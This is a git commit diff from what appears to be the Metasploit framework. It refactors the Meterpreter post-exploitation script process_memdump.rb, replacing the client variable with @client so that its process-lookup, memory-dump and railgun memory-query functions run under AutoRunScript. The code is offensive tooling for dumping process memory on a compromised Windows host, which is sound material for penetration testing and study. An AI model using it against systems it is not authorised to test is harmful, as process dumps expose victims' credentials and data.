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Changes to client variable name in functions to make sure they work when called by AutoRunScript

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git-svn-id: file:///home/svn/framework3/trunk@10942 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
Carlos Perez 2010-11-08 01:21:42 +00:00
parent 1042a75282
commit 7f22b5296c
1 changed files with 13 additions and 12 deletions
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25
scripts/meterpreter/process_memdump.rb
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@ -6,6 +6,7 @@
#-------------------------------------------------------------------------------
################## Variable Declarations ##################
require 'fileutils'
@client = client
pid = nil
name = nil
toggle = nil
@ -55,7 +56,7 @@ opts.parse(args) { |opt, idx, val|
# Function for finding the name of a process given it's PID
def find_procname(pid)
name = nil
client.sys.process.get_processes.each do |proc|
@client.sys.process.get_processes.each do |proc|
if proc['pid'] == pid.to_i
name = proc['name']
end
@ -66,7 +67,7 @@ end
# Find all PID's for a given process name
def find_pids(name)
proc_pid = []
client.sys.process.get_processes.each do |proc|
@client.sys.process.get_processes.each do |proc|
if proc['name'].downcase == name.downcase
proc_pid << proc['pid']
end
@ -76,7 +77,7 @@ end
# Dumps the memory for a given PID
def dump_mem(pid,name, toggle)
host,port = client.tunnel_peer.split(':')
host,port = @client.tunnel_peer.split(':')
# Create Filename info to be appended to created files
filenameinfo = "_#{name}_#{pid}_" + ::Time.now.strftime("%Y%m%d.%M%S")
# Create a directory for the logs
@ -87,7 +88,7 @@ def dump_mem(pid,name, toggle)
dumpfile = logs + ::File::Separator + host + filenameinfo + ".dmp"
print_status("\tDumping Memory of #{name} with PID: #{pid.to_s}")
begin
dump_process = client.sys.process.open(pid.to_i, PROCESS_READ)
dump_process = @client.sys.process.open(pid.to_i, PROCESS_READ)
rescue
print_error("Could not open process for reading memory!")
raise Rex::Script::Completed
@ -111,17 +112,17 @@ end
# Function to query process Size
def get_mem_usage( pid )
p = client.sys.process.open( pid.to_i, PROCESS_QUERY_INFORMATION | PROCESS_VM_READ )
p = @client.sys.process.open( pid.to_i, PROCESS_QUERY_INFORMATION | PROCESS_VM_READ )
if( p )
begin
if( not client.railgun.get_dll( 'psapi' ) )
client.railgun.add_dll( 'psapi' )
if( not @client.railgun.get_dll( 'psapi' ) )
@client.railgun.add_dll( 'psapi' )
end
# http://msdn.microsoft.com/en-us/library/ms683219%28v=VS.85%29.aspx
if( not client.railgun.psapi.functions['GetProcessMemoryInfo'] )
client.railgun.psapi.add_function( 'GetProcessMemoryInfo', 'BOOL', [
if( not @client.railgun.psapi.functions['GetProcessMemoryInfo'] )
@client.railgun.psapi.add_function( 'GetProcessMemoryInfo', 'BOOL', [
[ "HANDLE", "hProcess", "in" ],
[ "PBLOB", "ProcessMemoryCounters", "out" ],
[ "DWORD", "Size", "in" ]
@ -129,16 +130,16 @@ def get_mem_usage( pid )
)
end
r = client.railgun.psapi.GetProcessMemoryInfo( p.handle, 72, 72 )
r = @client.railgun.psapi.GetProcessMemoryInfo( p.handle, 72, 72 )
if( r['return'] )
pmc = r['ProcessMemoryCounters']
# unpack the PROCESS_MEMORY_COUNTERS structure (http://msdn.microsoft.com/en-us/library/ms684877%28v=VS.85%29.aspx)
# Note: As we get the raw structure back from railgun we need to account
# for SIZE_T variables being 32bit on x86 and 64bit on x64
mem = nil
if( client.platform =~ /win32/ )
if( @client.platform =~ /win32/ )
mem = pmc[12..15].unpack('V').first
elsif( client.platform =~ /win64/ )
elsif( @client.platform =~ /win64/ )
mem = pmc[16..23].unpack('Q').first
end
return (mem/1024)